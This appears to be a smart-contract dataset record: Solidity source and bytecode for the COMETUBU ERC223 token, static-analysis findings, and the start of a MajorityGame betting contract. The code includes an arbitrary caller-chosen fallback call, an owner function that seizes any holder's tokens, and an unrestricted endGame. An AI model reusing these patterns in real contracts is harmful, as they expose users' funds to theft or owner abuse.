* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC223
* @dev ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* @title ContractReceiver
* @dev Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/**
* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function if data of token transaction is a function execution
*/
}
}
/**
* @title COMETUBU
* @author COMETUBU
* @dev COMETUBU is an ERC223 Token with ERC20 functions and events
* Fully backward compatible with ERC20
*/
contract COMETUBU is ERC223, Ownable {
using SafeMath for uint256;
string public name = "COMETUBU";
string public symbol = "TUBU";
uint8 public decimals = 0;
uint256 public totalSupply = 88e8 * 1e0;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
/**
* @dev Constructor is called only once and can not be called again
*/
function COMETUBU() public {
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
FrozenFunds(targets[j], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
LockedFunds(targets[j], unixTimes[j]);
}
}
/**
* @dev Function that is called when a user or another contract wants to transfer funds
*/
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
/**
* @dev Standard function transfer similar to ERC20 transfer with no _data
* Added due to backwards compatibility reasons
*/
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* Added due to backwards compatibility with ERC20
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Allows _spender to spend no more than _value tokens in your behalf
* Added due to backwards compatibility with ERC20
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender
* Added due to backwards compatibility with ERC20
* @param _owner address The address which owns the funds
* @param _spender address The address which will spend the funds
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = amount.mul(1e0);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e0);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e0);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[owner] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if(msg.value > 0) owner.transfer(msg.value);
balanceOf[owner] = balanceOf[owner].sub(distributeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
/**
* @dev fallback function
*/
function() payable public {
autoDistribute();
}
}
|
0x6080604052600436106101455763ffffffff60e060020a60003504166305d2035b811461014f57806306fdde0314610178578063095ea7b31461020257806318160ddd1461022657806323b872dd1461024d578063313ce5671461027757806340c10f19146102a25780634f25eced146102c657806364ddc605146102db57806370a08231146103695780637d64bcb41461038a5780638da5cb5b1461039f57806394594625146103d057806395d89b41146104275780639dc29fac1461043c578063a8f11eb914610145578063a9059cbb14610460578063b414d4b614610484578063be45fd62146104a5578063c341b9f61461050e578063cbbe974b14610567578063d39b1d4814610588578063dd62ed3e146105a0578063dd924594146105c7578063f0dc417114610655578063f2fde38b146106e3578063f6368f8a14610704575b61014d6107ab565b005b34801561015b57600080fd5b5061016461090f565b604080519115158252519081900360200190f35b34801561018457600080fd5b5061018d610918565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101c75781810151838201526020016101af565b50505050905090810190601f1680156101f45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020e57600080fd5b50610164600160a060020a03600435166024356109ab565b34801561023257600080fd5b5061023b610a11565b60408051918252519081900360200190f35b34801561025957600080fd5b50610164600160a060020a0360043581169060243516604435610a17565b34801561028357600080fd5b5061028c610c1b565b6040805160ff9092168252519081900360200190f35b3480156102ae57600080fd5b50610164600160a060020a0360043516602435610c24565b3480156102d257600080fd5b5061023b610d24565b3480156102e757600080fd5b506040805160206004803580820135838102808601850190965280855261014d95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610d2a9650505050505050565b34801561037557600080fd5b5061023b600160a060020a0360043516610e8e565b34801561039657600080fd5b50610164610ea9565b3480156103ab57600080fd5b506103b4610f0f565b60408051600160a060020a039092168252519081900360200190f35b3480156103dc57600080fd5b5060408051602060048035808201358381028086018501909652808552610164953695939460249493850192918291850190849080828437509497505093359450610f1e9350505050565b34801561043357600080fd5b5061018d61118c565b34801561044857600080fd5b5061014d600160a060020a03600435166024356111ed565b34801561046c57600080fd5b50610164600160a060020a03600435166024356112d2565b34801561049057600080fd5b50610164600160a060020a0360043516611395565b3480156104b157600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610164948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506113aa9650505050505050565b34801561051a57600080fd5b506040805160206004803580820135838102808601850190965280855261014d95369593946024949385019291829185019084908082843750949750505050913515159250611463915050565b34801561057357600080fd5b5061023b600160a060020a036004351661156d565b34801561059457600080fd5b5061014d60043561157f565b3480156105ac57600080fd5b5061023b600160a060020a036004358116906024351661159b565b3480156105d357600080fd5b506040805160206004803580820135838102808601850190965280855261016495369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506115c69650505050505050565b34801561066157600080fd5b506040805160206004803580820135838102808601850190965280855261016495369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506118769650505050505050565b3480156106ef57600080fd5b5061014d600160a060020a0360043516611b53565b34801561071057600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610164948235600160a060020a031694602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750949750611be89650505050505050565b60006006541180156107d95750600654600154600160a060020a031660009081526008602052604090205410155b80156107f55750336000908152600a602052604090205460ff16155b801561080f5750336000908152600b602052604090205442115b151561081a57600080fd5b600034111561085e57600154604051600160a060020a03909116903480156108fc02916000818181858888f1935050505015801561085c573d6000803e3d6000fd5b505b600654600154600160a060020a031660009081526008602052604090205461088b9163ffffffff611f0616565b600154600160a060020a031660009081526008602052604080822092909255600654338252919020546108c39163ffffffff611f1816565b3360008181526008602090815260409182902093909355600154600654825190815291519293600160a060020a03909116926000805160206122fa8339815191529281900390910190a3565b60075460ff1681565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156109a15780601f10610976576101008083540402835291602001916109a1565b820191906000526020600020905b81548152906001019060200180831161098457829003601f168201915b5050505050905090565b336000818152600960209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60055490565b6000600160a060020a03831615801590610a315750600082115b8015610a555750600160a060020a0384166000908152600860205260409020548211155b8015610a845750600160a060020a03841660009081526009602090815260408083203384529091529020548211155b8015610aa95750600160a060020a0384166000908152600a602052604090205460ff16155b8015610ace5750600160a060020a0383166000908152600a602052604090205460ff16155b8015610af15750600160a060020a0384166000908152600b602052604090205442115b8015610b145750600160a060020a0383166000908152600b602052604090205442115b1515610b1f57600080fd5b600160a060020a038416600090815260086020526040902054610b48908363ffffffff611f0616565b600160a060020a038086166000908152600860205260408082209390935590851681522054610b7d908363ffffffff611f1816565b600160a060020a038085166000908152600860209081526040808320949094559187168152600982528281203382529091522054610bc1908363ffffffff611f0616565b600160a060020a03808616600081815260096020908152604080832033845282529182902094909455805186815290519287169391926000805160206122fa833981519152929181900390910190a35060015b9392505050565b60045460ff1690565b600154600090600160a060020a03163314610c3e57600080fd5b60075460ff1615610c4e57600080fd5b60008211610c5b57600080fd5b600554610c6e908363ffffffff611f1816565b600555600160a060020a038316600090815260086020526040902054610c9a908363ffffffff611f1816565b600160a060020a038416600081815260086020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000916000805160206122fa8339815191529181900360200190a350600192915050565b60065481565b600154600090600160a060020a03163314610d4457600080fd5b60008351118015610d56575081518351145b1515610d6157600080fd5b5060005b8251811015610e89578181815181101515610d7c57fe5b90602001906020020151600b60008584815181101515610d9857fe5b6020908102909101810151600160a060020a031682528101919091526040016000205410610dc557600080fd5b8181815181101515610dd357fe5b90602001906020020151600b60008584815181101515610def57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558251839082908110610e2057fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c15778383815181101515610e6257fe5b906020019060200201516040518082815260200191505060405180910390a2600101610d65565b505050565b600160a060020a031660009081526008602052604090205490565b600154600090600160a060020a03163314610ec357600080fd5b60075460ff1615610ed357600080fd5b6007805460ff191660011790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600154600160a060020a031681565b60008060008084118015610f33575060008551115b8015610f4f5750336000908152600a602052604090205460ff16155b8015610f695750336000908152600b602052604090205442115b1515610f7457600080fd5b610f8584600163ffffffff611f2716565b9350610f9b855185611f2790919063ffffffff16565b33600090815260086020526040902054909250821115610fba57600080fd5b5060005b8451811015611151578481815181101515610fd557fe5b90602001906020020151600160a060020a031660001415801561102d5750600a6000868381518110151561100557fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156110745750600b6000868381518110151561104657fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561107f57600080fd5b6110c48460086000888581518110151561109557fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff611f1816565b6008600087848151811015156110d657fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055845185908290811061110757fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206122fa833981519152866040518082815260200191505060405180910390a3600101610fbe565b33600090815260086020526040902054611171908363ffffffff611f0616565b33600090815260086020526040902055506001949350505050565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109a15780601f10610976576101008083540402835291602001916109a1565b600154600160a060020a0316331461120457600080fd5b60008111801561122c5750600160a060020a0382166000908152600860205260409020548111155b151561123757600080fd5b600160a060020a038216600090815260086020526040902054611260908263ffffffff611f0616565b600160a060020a03831660009081526008602052604090205560055461128c908263ffffffff611f0616565b600555604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b600060606000831180156112f65750336000908152600a602052604090205460ff16155b801561131b5750600160a060020a0384166000908152600a602052604090205460ff16155b80156113355750336000908152600b602052604090205442115b80156113585750600160a060020a0384166000908152600b602052604090205442115b151561136357600080fd5b61136c84611f52565b156113835761137c848483611f5a565b915061138e565b61137c84848361219e565b5092915050565b600a6020526000908152604090205460ff1681565b600080831180156113cb5750336000908152600a602052604090205460ff16155b80156113f05750600160a060020a0384166000908152600a602052604090205460ff16155b801561140a5750336000908152600b602052604090205442115b801561142d5750600160a060020a0384166000908152600b602052604090205442115b151561143857600080fd5b61144184611f52565b1561145857611451848484611f5a565b9050610c14565b61145184848461219e565b600154600090600160a060020a0316331461147d57600080fd5b825160001061148b57600080fd5b5060005b8251811015610e895782818151811015156114a657fe5b60209081029091010151600160a060020a031615156114c457600080fd5b81600a600085848151811015156114d757fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff1916911515919091179055825183908290811061151757fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a260010161148f565b600b6020526000908152604090205481565b600154600160a060020a0316331461159657600080fd5b600655565b600160a060020a03918216600090815260096020908152604080832093909416825291909152205490565b60008060008085511180156115dc575083518551145b80156115f85750336000908152600a602052604090205460ff16155b80156116125750336000908152600b602052604090205442115b151561161d57600080fd5b5060009050805b845181101561177c576000848281518110151561163d57fe5b906020019060200201511180156116755750848181518110151561165d57fe5b90602001906020020151600160a060020a0316600014155b80156116b65750600a6000868381518110151561168e57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156116fd5750600b600086838151811015156116cf57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561170857600080fd5b6117316001858381518110151561171b57fe5b602090810290910101519063ffffffff611f2716565b848281518110151561173f57fe5b6020908102909101015283516117729085908390811061175b57fe5b60209081029091010151839063ffffffff611f1816565b9150600101611624565b3360009081526008602052604090205482111561179857600080fd5b5060005b8451811015611151576117d284828151811015156117b657fe5b9060200190602002015160086000888581518110151561109557fe5b6008600087848151811015156117e457fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055845185908290811061181557fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206122fa833981519152868481518110151561184f57fe5b906020019060200201516040518082815260200191505060405180910390a360010161179c565b60015460009081908190600160a060020a0316331461189457600080fd5b600085511180156118a6575083518551145b15156118b157600080fd5b5060009050805b8451811015611b3357600084828151811015156118d157fe5b90602001906020020151118015611909575084818151811015156118f157fe5b90602001906020020151600160a060020a0316600014155b801561194a5750600a6000868381518110151561192257fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156119915750600b6000868381518110151561196357fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561199c57600080fd5b6119af6001858381518110151561171b57fe5b84828151811015156119bd57fe5b6020908102909101015283518490829081106119d557fe5b906020019060200201516008600087848151811015156119f157fe5b6020908102909101810151600160a060020a03168252810191909152604001600020541015611a1f57600080fd5b611a7b8482815181101515611a3057fe5b90602001906020020151600860008885815181101515611a4c57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff611f0616565b600860008784815181101515611a8d57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558351611ac29085908390811061175b57fe5b915033600160a060020a03168582815181101515611adc57fe5b90602001906020020151600160a060020a03166000805160206122fa8339815191528684815181101515611b0c57fe5b906020019060200201516040518082815260200191505060405180910390a36001016118b8565b33600090815260086020526040902054611171908363ffffffff611f1816565b600154600160a060020a03163314611b6a57600080fd5b600160a060020a0381161515611b7f57600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611c095750336000908152600a602052604090205460ff16155b8015611c2e5750600160a060020a0385166000908152600a602052604090205460ff16155b8015611c485750336000908152600b602052604090205442115b8015611c6b5750600160a060020a0385166000908152600b602052604090205442115b1515611c7657600080fd5b611c7f85611f52565b15611ef05733600090815260086020526040902054841115611ca057600080fd5b33600090815260086020526040902054611cc0908563ffffffff611f0616565b3360009081526008602052604080822092909255600160a060020a03871681522054611cf2908563ffffffff611f1816565b600160a060020a038616600081815260086020908152604080832094909455925185519293919286928291908401908083835b60208310611d445780518252601f199092019160209182019101611d25565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611dd6578181015183820152602001611dbe565b50505050905090810190601f168015611e035780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af193505050501515611e2357fe5b826040518082805190602001908083835b60208310611e535780518252601f199092019160209182019101611e34565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518581529051600160a060020a0387169133916000805160206122fa8339815191529181900360200190a3506001611efe565b611efb85858561219e565b90505b949350505050565b600082821115611f1257fe5b50900390565b600082820183811015610c1457fe5b600080831515611f3a576000915061138e565b50828202828482811515611f4a57fe5b0414610c1457fe5b6000903b1190565b336000908152600860205260408120548190841115611f7857600080fd5b33600090815260086020526040902054611f98908563ffffffff611f0616565b3360009081526008602052604080822092909255600160a060020a03871681522054611fca908563ffffffff611f1816565b600160a060020a03861660008181526008602090815260408083209490945592517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018a90526060604484019081528951606485015289518c9850959663c0ee0b8a9693958c958c956084909101928601918190849084905b83811015612068578181015183820152602001612050565b50505050905090810190601f1680156120955780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1580156120b657600080fd5b505af11580156120ca573d6000803e3d6000fd5b50505050826040518082805190602001908083835b602083106120fe5780518252601f1990920191602091820191016120df565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518581529051600160a060020a0387169133916000805160206122fa8339815191529181900360200190a3506001949350505050565b336000908152600860205260408120548311156121ba57600080fd5b336000908152600860205260409020546121da908463ffffffff611f0616565b3360009081526008602052604080822092909255600160a060020a0386168152205461220c908463ffffffff611f1816565b600160a060020a0385166000908152600860209081526040918290209290925551835184928291908401908083835b6020831061225a5780518252601f19909201916020918201910161223b565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208983529351939550600160a060020a038a16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518481529051600160a060020a0386169133916000805160206122fa8339815191529181900360200190a350600193925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058201e8e8f0c80b4dcd5005bf694d973c0cd67b8af57c060d6c0aaceef6dc4e508c20029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,590 |
0x08f7e145df8b9a10a40674d7ed8396a3a9eae650
|
pragma solidity ^0.4.24;
contract MajorityGameFactory {
address[] public deployedGames;
address[] public endedGames;
address[] public tempArray;
address public adminAddress;
mapping(address => uint) private gameAddressIdMap;
uint public gameCount = 0;
uint public endedGameCount = 0;
modifier adminOnly() {
require(msg.sender == adminAddress);
_;
}
constructor () public {
adminAddress = msg.sender;
}
/**
* create new game
**/
function createGame (uint _gameBet, uint _startTime, string _questionText, address _officialAddress) public adminOnly payable {
gameCount ++;
address newGameAddress = new MajorityGame(gameCount, _gameBet, _startTime, _questionText, _officialAddress);
deployedGames.push(newGameAddress);
gameAddressIdMap[newGameAddress] = deployedGames.length;
setJackpot(newGameAddress, msg.value);
}
/**
* return all available games address
**/
function getDeployedGames() public view returns (address[]) {
return deployedGames;
}
/**
* return all available games address
**/
function getEndedGames() public view returns (address[]) {
return endedGames;
}
/**
* set bonus of the game
**/
function setJackpot(address targetAddress, uint val) adminOnly public {
if (val > 0) {
MajorityGame mGame = MajorityGame(targetAddress);
mGame.setJackpot.value(val)();
}
}
/**
* end the game
**/
function endGame(address targetAddress) public {
uint targetGameIndex = gameAddressIdMap[address(targetAddress)];
endedGameCount++;
endedGames.push(targetAddress);
deployedGames[targetGameIndex-1] = deployedGames[deployedGames.length-1];
gameAddressIdMap[deployedGames[deployedGames.length-1]] = targetGameIndex;
delete deployedGames[deployedGames.length-1];
deployedGames.length--;
MajorityGame mGame = MajorityGame(address(targetAddress));
mGame.endGame();
}
/**
* force to end the game
**/
function forceEndGame(address targetAddress) public adminOnly {
uint targetGameIndex = gameAddressIdMap[address(targetAddress)];
endedGameCount++;
endedGames.push(targetAddress);
deployedGames[targetGameIndex-1] = deployedGames[deployedGames.length-1];
gameAddressIdMap[deployedGames[deployedGames.length-1]] = targetGameIndex;
delete deployedGames[deployedGames.length-1];
deployedGames.length--;
MajorityGame mGame = MajorityGame(address(targetAddress));
mGame.forceEndGame();
}
}
contract MajorityGame {
// 1 minute
//uint constant private AVAILABLE_GAME_TIME = 0;
uint constant private MINIMUM_BET = 50000000000000000;
uint constant private MAXIMUM_BET = 50000000000000000;
uint public gameId;
uint private jackpot;
uint private gameBet;
// address of the creator
address public adminAddress;
address public officialAddress;
// game start time
uint private startTime;
// game data
string private questionText;
// store all player bet value
mapping(address => bool) private playerList;
uint public playersCount;
// store all player option record
mapping(address => bool) private option1List;
mapping(address => bool) private option2List;
// address list
address[] private option1AddressList;
address[] private option2AddressList;
address[] private winnerList;
uint private winnerSide;
uint private finalBalance;
uint private award;
// count the player option
//uint private option1Count;
//uint private option2Count;
modifier adminOnly() {
require(msg.sender == adminAddress);
_;
}
modifier withinGameTime() {
require(now <= startTime);
//require(now < startTime + AVAILABLE_GAME_TIME);
_;
}
modifier afterGameTime() {
require(now > startTime);
//require(now > startTime + AVAILABLE_GAME_TIME);
_;
}
modifier notEnded() {
require(winnerSide == 0);
_;
}
modifier isEnded() {
require(winnerSide > 0);
_;
}
